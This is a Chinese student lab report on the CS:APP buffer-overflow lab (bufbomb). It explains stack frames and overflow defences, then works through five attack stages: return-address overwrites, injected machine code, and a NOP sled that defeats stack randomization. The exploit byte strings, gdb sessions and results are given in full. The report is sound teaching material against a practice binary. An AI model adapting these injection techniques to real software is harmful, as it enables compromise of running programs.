哈爾濱工業大學

实验报告

实 验（四）

题　　目　Buflab/AttackLab

缓冲器漏洞攻击

专　　业　计算机类

学　　号　1180300308

班　　级　03003

学　　生　刘义

指 导 教 师　史先俊

实 验 地 点　G712

实 验 日 期　2019 年 11 月 6 日

计算机科学与技术学院

目 录

第 1 章 实验基本信息

1.1 实验目的

- 理解 C 语言函数的汇编级实现及缓冲器溢出原理
- 掌握栈帧结构与缓冲器溢出漏洞的攻击设计方法
- 进一步熟练使用 Linux 下的调试工具完成机器语言的跟踪调试

1.2 实验环境与工具

1.2.1 硬件环境

- X64 CPU；2GHz；2G RAM；256GHD Disk 以上

1.2.2 软件环境

- Windows7 64 位以上；VirtualBox/Vmware 11 以上；Ubuntu 16.04 LTS 64 位/优麒麟 64 位；

1.2.3 开发工具

- Visual Studio 2010 64 位以上；GDB/OBJDUMP；DDD/EDB 等

1.3 实验预习

■ 上实验课前，必须认真预习实验指导书（PPT 或 PDF）

■ 了解实验的目的、实验环境与软硬件工具、实验操作步骤，复习与实验有关的理论知识。

■ 请按照入栈顺序，写出 C 语言 32 位环境下的栈帧结构

■ 请按照入栈顺序，写出 C 语言 64 位环境下的栈帧结构

■ 请简述缓冲区溢出的原理及危害

- 请简述缓冲器溢出漏洞的攻击方法
- 请简述缓冲器溢出漏洞的防范方法

第 2 章 实验预习

2.1 请按照入栈顺序，写出 C 语言 32 位环境下的栈帧结构（5 分）

函数 P 调用函数 Q 的栈帧结构：

函数 P 的帧(ebp)
……
调用者保存寄存器
参数
返回地址
函数 Q 的帧(ebp)
被调用者保存寄存器
……

2.2 请按照入栈顺序，写出 C 语言 64 位环境下的栈帧结构（5 分）

函数 P 调用函数 Q 的栈帧结构：

函数 P 的帧(rbp)
……
调用者保存寄存器
参数（若函数参数超过 6 个）
返回地址
函数 Q 的帧(rbp)
被调用者保存寄存器
……

2.3 请简述缓冲区溢出的原理及危害（5 分）

原理：c 语言对数组引用不进行边界检查，而局部变量和返回地址等信息存储在栈内。缓冲区溢出是指将一个字符串读入存储在栈内的字符数组，而字符串的长度超过了程序为字符数组分配的空间，从而破坏、修改了存储在栈内的其他信息。

危害：

1)可能导致函数返回地址等信息被篡改，使得程序运行出错。

2)可能被黑客利用，进行代码注入或其他攻击，造成不可估量的后果

2.4 请简述缓冲器溢出漏洞的攻击方法（5 分）

通常是给程序输入一个字符串，字符串超出数组长度，越界修改返回地址、函数参数等信息，通过修改返回地址的值可以使程序执行它本不愿执行的函数（可能是程序已有的其它函数或是注入的攻击代码）。

2.5 请简述缓冲器溢出漏洞的防范方法（5 分）

1）栈随机化：栈随机化的思想是，使栈的位置在程序每次执行时发生变化。实现的方式是：程序开始时，在栈上分配一段 0~n 字节的随机大小的空间，这段空间并不被使用，这就导致程序每次执行时后续的栈的位置发生改变。

2）栈破坏性检测：检测缓冲区越界，实现栈保护机制。实现方式是：在栈内每一个局部缓冲区与栈的状态信息之间存储一个特殊的随机产生的“哨兵值”（或称为“金丝雀值”），在恢复寄存器、函数返回前检测该“哨兵值”是否改变，若改变，程序异常终止。

3）限制可执行代码区域：对内存的权限分为：读、写、执行三部分，关闭函数调用栈的可执行权限。

第 3 章 各阶段漏洞攻击原理与方法

每阶段 25 分，文本 10 分，分析 15 分，总分不超过 80 分

Userid: 1180300308　Cookie：0x4c3d6eaa

3.1 Smoke 阶段 1 的攻击与分析

文本如下：

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00
/*smoke located at: 0x8048BBB*/
BB 8B 04 08
~
```

分析过程：

首先查看函数 getbuf 的汇编代码：

```
08049378 <getbuf>:
 8049378:       55                      push   %ebp
 8049379:       89 e5                   mov    %esp,%ebp
 804937b:       83 ec 28                sub    $0x28,%esp
 804937e:       83 ec 0c                sub    $0xc,%esp
 8049381:       8d 45 d8                lea    -0x28(%ebp),%eax
 8049384:       50                      push   %eax
 8049385:       e8 9e fa ff ff          call   8048e28 <Gets>
 804938a:       83 c4 10                add    $0x10,%esp
 804938d:       b8 01 00 00 00          mov    $0x1,%eax
 8049392:       c9                      leave
 8049393:       c3                      ret
```

相应的栈帧结构：

地址	内容
ebp+4	返回地址
ebp	ebp 旧值
ebp-0x28	buf[]
ebp-0x34	
ebp-0x38	ebp-0x28

以 ebp-0x28 为函数 Gets 的参数，将数组内容读入。可知数组分配空间长度为 0x28，即 40，要修改返回地址，输入字符串至少为 48 个字节，前 44 个字节无关紧要，后四个字节应为函数 smoke 的起始地址：0x08048BBB，小端存储，即为：BB 8B 04 08。

攻击结果：

```
1180300308刘义@ubuntu:~/csapp/program/csapp.lab4/
w  | ./bufbomb -u 1180300308
Userid: 1180300308
Cookie: 0x4c3d6eaa
Type string:Smoke!: You called smoke()
VALID
NICE JOB!
```

3.2 Fizz 的攻击与分析

文本如下：

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00
/* fizz located at: 0x8048BE8*/
E8 8B 04 08

00 00 00 00
/* 参数: */
aa 6e 3d 4c
```

分析过程：

题目 2 要求进入 fizz 函数并传参，进入 fizz 函数的方法与题目 1 相同，只需将地址换成 fizz 函数的起始地址即可。即 44~48 个字节为：E8 8B 04 08

查看函数 fizz 的汇编代码：

```
08048be8 <fizz>:
 8048be8:       55                      push   %ebp
 8048be9:       89 e5                   mov    %esp,%ebp
 8048beb:       83 ec 08                sub    $0x8,%esp
 8048bee:       8b 55 08                mov    0x8(%ebp),%edx
 8048bf1:       a1 58 e1 04 08          mov    0x804e158,%eax
 8048bf6:       39 c2                   cmp    %eax,%edx
```

可以看出参数存储在 fizz 栈中 ebp+8 的位置。

地址	内容
ebp+8	
ebp+4	返回地址
ebp	ebp 旧值
ebp-0x28	buf[]
ebp-0x34	
ebp-0x38	ebp-0x28

内容	地址
参数	ebp+8
	ebp+4
ebp 旧值	ebp

由上图，函数 fizz 栈中的 ebp+8 对应于函数 getbuff 栈中的 ebp+c，因此需要在原本的字符串末尾添加 4 个占位字节+4 个字节的 Cookie 码。即 49~56 个字节为：00 00 00 00 aa 6e 3d 4c

攻击结果：

```
1180300308刘义@ubuntu:~/csapp/program/csapp.lab4/buflab-handout$
00308.txt |./hex2raw |./bufbomb -u 1180300308
Userid: 1180300308
Cookie: 0x4c3d6eaa
Type string:Fizz!: You called fizz(0xf7f05856)
VALID
NICE JOB!
```

3.3 Bang 的攻击与分析

文本如下：

```
c7 05 60 e1 04 08 aa /* movl   $0x4c3d6eaa,0x804e160 */
6e 3d 4c
68 39 8c 04 08       /* push   $0x8048c39 */
c3                   /* ret */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00
/* 数组起始地址 */
58 31 68 55
```

分析过程：

首先查看函数 bang 的汇编文件：

```
08048c39 <bang>:
 8048c39:       55                      push   %ebp
 8048c3a:       89 e5                   mov    %esp,%ebp
 8048c3c:       83 ec 08                sub    $0x8,%esp
 8048c3f:       a1 60 e1 04 08          mov    0x804e160,%eax
 8048c44:       89 c2                   mov    %eax,%edx
 8048c46:       a1 58 e1 04 08          mov    0x804e158,%eax
 8048c4b:       39 c2                   cmp    %eax,%edx
 8048c4d:       75 25                   jne    8048c74 <bang+0x3b>
```

函数比较了存放在 0x804e160 和 0x804e158 的值，可知这两个值一个是 cookie，另一个是 global_val，经过调试得知 global_value 存放在 0x804e160。

编写要注入的汇编代码（asm.s）如下：

```
movl $0x4c3d6eaa,0x0804E160
push $0x8048C39
ret
```

代码注释：修改 global_val 的值，并将返回地址设为函数 bang 的地址。

将代码翻译成机器代码，再将其反汇编成相应字节序列，得到：

```
00000000 <.text>:
   0:   c7 05 60 e1 04 08 aa    movl   $0x4c3d6eaa,0x804e160
   7:   6e 3d 4c
   a:   68 39 8c 04 08          push   $0x8048c39
   f:   c3                      ret
```

我们需要修改返回地址为字符数组的起始地址，该地址为 ebp-0x28，为获得该值，需要得到函数 getbuf 中栈帧 ebp 的值。GDB 调试如下：

```
0x08049381 in getbuf ()
(gdb) disas
Dump of assembler code for function getbuf:
   0x08049378 <+0>:     push   %ebp
   0x08049379 <+1>:     mov    %esp,%ebp
   0x0804937b <+3>:     sub    $0x28,%esp
   0x0804937e <+6>:     sub    $0xc,%esp
=> 0x08049381 <+9>:     lea    -0x28(%ebp),%eax
   0x08049384 <+12>:    push   %eax
   0x08049385 <+13>:    call   0x8048e28 <Gets>
   0x0804938a <+18>:    add    $0x10,%esp
   0x0804938d <+21>:    mov    $0x1,%eax
   0x08049392 <+26>:    leave
   0x08049393 <+27>:    ret
End of assembler dump.
(gdb) info register
eax            0x5f11d4db       1595004123
ecx            0xf7fae074       -134553484
edx            0x0      0
ebx            0xffffcfd0       -12336
esp            0x5568314c       0x5568314c <_reserved+1036620>
ebp            0x55683180       0x55683180 <_reserved+1036672>
```

ebp = 0x55683180，ebp-28 = 0x55683158。

于是，构造字符串的前面为注入代码的字节序列，后面 44~48 个字节为数组的起始地址，中间为占位符。即：

```
c7 05 60 e1 04 08 aa /* movl   $0x4c3d6eaa,0x804e160 */
6e 3d 4c
68 39 8c 04 08       /* push   $0x8048c39 */
c3                   /* ret */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00
/* 数组起始地址 */
58 31 68 55
```

执行结果：

```
1180300308刘义@ubuntu:~/csapp/program/csapp.lab4/buflab-handout$
0308.txt |./hex2raw |./bufbomb -u 1180300308
Userid: 1180300308
Cookie: 0x4c3d6eaa
Type string:Bang!: You set global_value to 0x4c3d6eaa
VALID
NICE JOB!
```

3.4 Boom 的攻击与分析

文本如下：

```
b8 aa 6e 3d 4c        /* mov    $0x4c3d6eaa,%eax */
bd a0 31 68 55        /* mov    $0x556831a0,%ebp */
68 a7 8c 04 08        /* push   $0x8048ca7 */
c3                    /* ret */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00
/* 数组起始地址 */
58 31 68 55
```

分析过程：

大致思路：修改返回地址使程序执行注入代码，注入代码应将 cookie 的值送给 eax，恢复 ebp 为函数 test()的 ebp 值，然后返回到 test 调用 getbuf 函数的下一条汇编指令。

首先查看函数 test()的 ebp 值，gdb 调试如下：

```
(gdb) info registers
eax            0xc      12
ecx            0x0      0
edx            0xf7faf890       -134547312
ebx            0xffffcfd0       -12336
esp            0x55683188       0x55683188 <_reserved+1036680>
ebp            0x556831a0       0x556831a0 <_reserved+1036704>
```

函数 test()的 ebp 值为：0x556831a0

接着查看函数 test()的汇编代码：

```
08048c94 <test>:
 8048c94:       55                      push   %ebp
 8048c95:       89 e5                   mov    %esp,%ebp
 8048c97:       83 ec 18                sub    $0x18,%esp
 8048c9a:       e8 64 04 00 00          call   8049103 <uniqueval>
 8048c9f:       89 45 f0                mov    %eax,-0x10(%ebp)
 8048ca2:       e8 d1 06 00 00          call   8049378 <getbuf>
 8048ca7:       89 45 f4                mov    %eax,-0xc(%ebp)
```

test 调用 getbuf 函数的下一条汇编指令地址为：0x08048CA7

于是，编写要注入的汇编代码如下：

```
movl $0x4c3d6eaa,%eax
movl $0x556831a0,%ebp
push $0x8048CA7
ret
```

将代码翻译成机器代码，再将其反汇编成相应字节序列，得到：

```
00000000 <.text>:
   0:   b8 aa 6e 3d 4c          mov    $0x4c3d6eaa,%eax
   5:   bd a0 31 68 55          mov    $0x556831a0,%ebp
   a:   68 a7 8c 04 08          push   $0x8048ca7
   f:   c3                      ret
```

于是，构造字符串的前面为注入代码的字节序列，后面 44~48 个字节为数组的起始地址，中间为占位符。即：

```
b8 aa 6e 3d 4c        /* mov    $0x4c3d6eaa,%eax */
bd a0 31 68 55        /* mov    $0x556831a0,%ebp */
68 a7 8c 04 08        /* push   $0x8048ca7 */
c3                    /* ret */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00
/* 数组起始地址 */
58 31 68 55
```

执行结果：

```
1180300308刘义@ubuntu:~/csapp/program/csapp.lab4/buflab-handout$
00308.txt |./hex2raw |./bufbomb -u 1180300308
Userid: 1180300308
Cookie: 0x4c3d6eaa
Type string:Boom!: getbuf returned 0x4c3d6eaa
VALID
NICE JOB!
```

3.5 Nitro 的攻击与分析

文本如下：

```
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
b8 aa 6e 3d 4c       /* mov    $0x4c3d6eaa,%eax */
8d 6c 24 18          /* lea    0x18(%esp),%ebp */
68 21 8d 04 08       /* push   $0x8048d21 */
c3                   /* ret */
00

00 00 00 00 00 00 00 00 00 00 00 00
/* 数组最大起始地址 */
a8 2f 68 55
```

分析过程：

与上题类似，不同的是由于栈地址随机化，数组的起始地址和要还原的函数 testn 中的 ebp 的值不确定。

首先观察函数 testn 的汇编代码：

```
08048d0e <testn>:
 8048d0e:       55                      push   %ebp
 8048d0f:       89 e5                   mov    %esp,%ebp
 8048d11:       83 ec 18                sub    $0x18,%esp
 8048d14:       e8 ea 03 00 00          call   8049103 <uniqueval>
 8048d19:       89 45 f0                mov    %eax,-0x10(%ebp)
 8048d1c:       e8 73 06 00 00          call   8049394 <getbufn>
 8048d21:       89 45 f4                mov    %eax,-0xc(%ebp)
```

可以看出执行 call getbufn 之前 ebp = esp + 0x18，再从函数 getbufn 返回时 ebp = esp + 0x18，故可用汇编指令：

lea 0x18(esp) ebp

恢复 ebp 的值

再看数组的起始地址：

```
08049394 <getbufn>:
 8049394:       55                      push   %ebp
 8049395:       89 e5                   mov    %esp,%ebp
 8049397:       81 ec 08 02 00 00       sub    $0x208,%esp
 804939d:       83 ec 0c                sub    $0xc,%esp
 80493a0:       8d 85 f8 fd ff ff       lea    -0x208(%ebp),%eax
 80493a6:       50                      push   %eax
 80493a7:       e8 7c fa ff ff          call   8048e28 <Gets>
```

数组起始地址 = %ebp - 0x208，gdb 调试查看相应的值：

```
(gdb) p/x $ebp-0x208
$1 = 0x55682f78
```

```
(gdb) p/x $ebp-0x208
$2 = 0x55682fa8
```

```
(gdb) p/x $ebp-0x208
$3 = 0x55682f88
```

```
(gdb) p/x $ebp-0x208
$4 = 0x55682f28
```

```
(gdb) p/x $ebp-0x208
$5 = 0x55682f78
```

数组起始地址在 0x55682f28~0x55682fa8 之间。可以将要注入的代码放在数组尾端，此前占位符都设置为 nop 指令。这样，只需令返回地址落在 nop 指令区

域，即大于最大数组起始地址（0x55682fa8）即可。

将函数 getbufn 的返回地址修改为 0x55682fa8

nop 的机器级编码为：0x90

```
00000000 <.text>:
   0:   90                      nop
```

故构造字符串为：

```
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
b8 aa 6e 3d 4c        /* mov    $0x4c3d6eaa,%eax */
8d 6c 24 18           /* lea    0x18(%esp),%ebp */
68 21 8d 04 08        /* push   $0x8048d21 */
c3                    /* ret */
00

00 00 00 00 00 00 00 00 00 00 00 00
/* 数组最大起始地址 */
a8 2f 68 55
```

第 4 章 总结

4.1 请总结本次实验的收获

了解了缓冲区溢出的危害以及系统可能的防范方式，如栈随机化等，尝试了基本的缓冲区溢出攻击，实现了无感攻击，绕过栈随机化进行攻击等。

4.2 请给出对本次实验内容的建议

注：本章为酌情加分项。